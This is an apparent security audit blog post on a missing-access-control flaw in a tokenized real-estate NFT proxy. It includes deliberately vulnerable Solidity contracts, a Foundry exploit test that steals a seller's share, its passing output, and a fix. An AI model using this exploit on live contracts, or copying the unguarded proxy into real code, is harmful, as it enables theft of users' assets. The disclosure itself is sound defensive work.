Quill Findings: Missing Access Control in Tokenized Real Estate
Learn how missing access control on a privileged NFT transfer proxy let anyone steal seller-approved tokenized real estate shares for free.
This is the second blog in our series Quill Findings, where we share about interesting vulnerabilities which our auditors found during client audits. Before this if you want to checkout our first blog of this series you can visit that here, where we talked about how tokenized gold can be exploited.
Today our blog is around tokenized real estate protocol. In this protocol all the properties/real-estate is split into NFT shares, which a seller can list in a marketplace and buyer can purchase these share thorugh buyProperty() function in the contract. We found a way in which anyone can get property shares for free.
How the transfer path works
All the property shares of seller lives inside Property contract and to keep share transfers strictly controlled, Property contract allows only a handful of address to make any transfer possible. So in this case a second contract which is PropertyLaunchpad, seller have to approve this contract for all the shares of seller, each seller have to do this to list their shares. Now this new contract PropertyLaunchpad acts as proxy and call Property contract for asset transfer requests.
Now the condition becomes that the PropertyLaunchpad contract have approval from all the seller for all of their shares.
What went wrong
Now the vulnerability is that PropertyLaunchpad contract have an external function called safeTransferFromNFT() and this function didn't have any access control, which means anyone can call the function and do transfer from behalf of anyone.
1function safeTransferFromNFT(address from, address to, uint256 tokenId) external {
2 property.safeTransferFrom(from, to, tokenId, "");
3}
4The given sample code is just the whole function which was there, with no access checks, it just forwards the call from PropertyLaunchpad contract to Property contract.
So now anyone can call safeTransferFromNFT(seller, attacker, tokenId) directly and since PropertyLaunchpad contract already have approval from all the sellers for all of their shares, so anyone can easily transfer the NFT shares from seller account to their own account with paying anything and completely bypassing the buyProperty() flow.
Proof of concept
This is a minimal example code to help you understand the vulnerability from code perspective.
src/Property.sol:
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.24;
3
4import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
5
6contract Property is ERC721 {
7 address public admin;
8 mapping(address => bool) public authorized;
9
10 modifier onlyAuth() {
11 require(authorized[msg.sender], "Property: not authorized");
12 _;
13 }
14
15 constructor() ERC721("Property Share", "PROP") {
16 admin = msg.sender;
17 }
18
19 function setAuthorized(address who, bool ok) external {
20 require(msg.sender == admin, "Property: not admin");
21 authorized[who] = ok;
22 }
23
24 function mint(address to, uint256 tokenId) external {
25 require(msg.sender == admin, "Property: not admin");
26 _mint(to, tokenId);
27 }
28
29 function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
30 public
31 override
32 onlyAuth
33 {
34 super.safeTransferFrom(from, to, tokenId, data);
35 }
36}
37src/PropertyLaunchpad.sol:
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.24;
3
4import {Property} from "./Property.sol";
5
6contract PropertyLaunchpad {
7 Property public property;
8
9 constructor(Property _property) {
10 property = _property;
11 }
12
13 function safeTransferFromNFT(address from, address to, uint256 tokenId) external {
14 property.safeTransferFrom(from, to, tokenId, "");
15 }
16}
17test/Exploit.t.sol:
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.24;
3
4import {Test, console2} from "forge-std/Test.sol";
5import {Property} from "../src/Property.sol";
6import {PropertyLaunchpad} from "../src/PropertyLaunchpad.sol";
7
8contract Exploit is Test {
9 address seller = makeAddr("seller");
10 address attacker = makeAddr("attacker");
11 uint256 constant SHARE_ID = 1;
12
13 function test_AttackerStealsShareWithoutPaying() public {
14 Property property = new Property();
15 PropertyLaunchpad launchpad = new PropertyLaunchpad(property);
16 property.setAuthorized(address(launchpad), true);
17
18 property.mint(seller, SHARE_ID);
19 vm.prank(seller);
20 property.setApprovalForAll(address(launchpad), true);
21
22 console2.log("share owner is seller before attack:", property.ownerOf(SHARE_ID) == seller);
23 assertEq(property.ownerOf(SHARE_ID), seller);
24
25 vm.prank(attacker);
26 launchpad.safeTransferFromNFT(seller, attacker, SHARE_ID);
27
28 console2.log("share owner is attacker after: ", property.ownerOf(SHARE_ID) == attacker);
29 assertEq(property.ownerOf(SHARE_ID), attacker, "attacker should now own the share");
30 assertEq(seller.balance, 0, "seller received no payment at all");
31 }
32}
33Run it:
1forge test --match-test test_AttackerStealsShareWithoutPaying -vv
2Output:
1Ran 1 test for test/Exploit.t.sol:Exploit
2[PASS] test_AttackerStealsShareWithoutPaying() (gas: 285921)
3Logs:
4 share owner is seller before attack: true
5 share owner is attacker after: true
6
7Suite result: ok. 1 passed; 0 failed; 0 skipped
8The Property contract (business logic) deployed, then launchpad created, seller listed their property, gave approval to launchpad and then attacker bypassed the buyProperty() and got the seller's share through safeTransferFromNFT() which didn't had the proper access control.
The fix
Either use the msg.sender as from parameter, or use a centralized trusted sender of these asset transfer transaction and then this function would be accessable by that trusted party only.
1function safeTransferFromNFT(address to, uint256 tokenId) external {
2 property.safeTransferFrom(msg.sender, to, tokenId, "");
3}
4Conclusion
This bug might look easy to spot, but missing access control checks on asset transfer function are not that rare in industry. Also confusing with msg.sender value within the proxy model where protocol is using trusted contracts to call their business logic contracts also common and developer should cross check these access checks and always question that who can access what assets in their protocol.
Contents
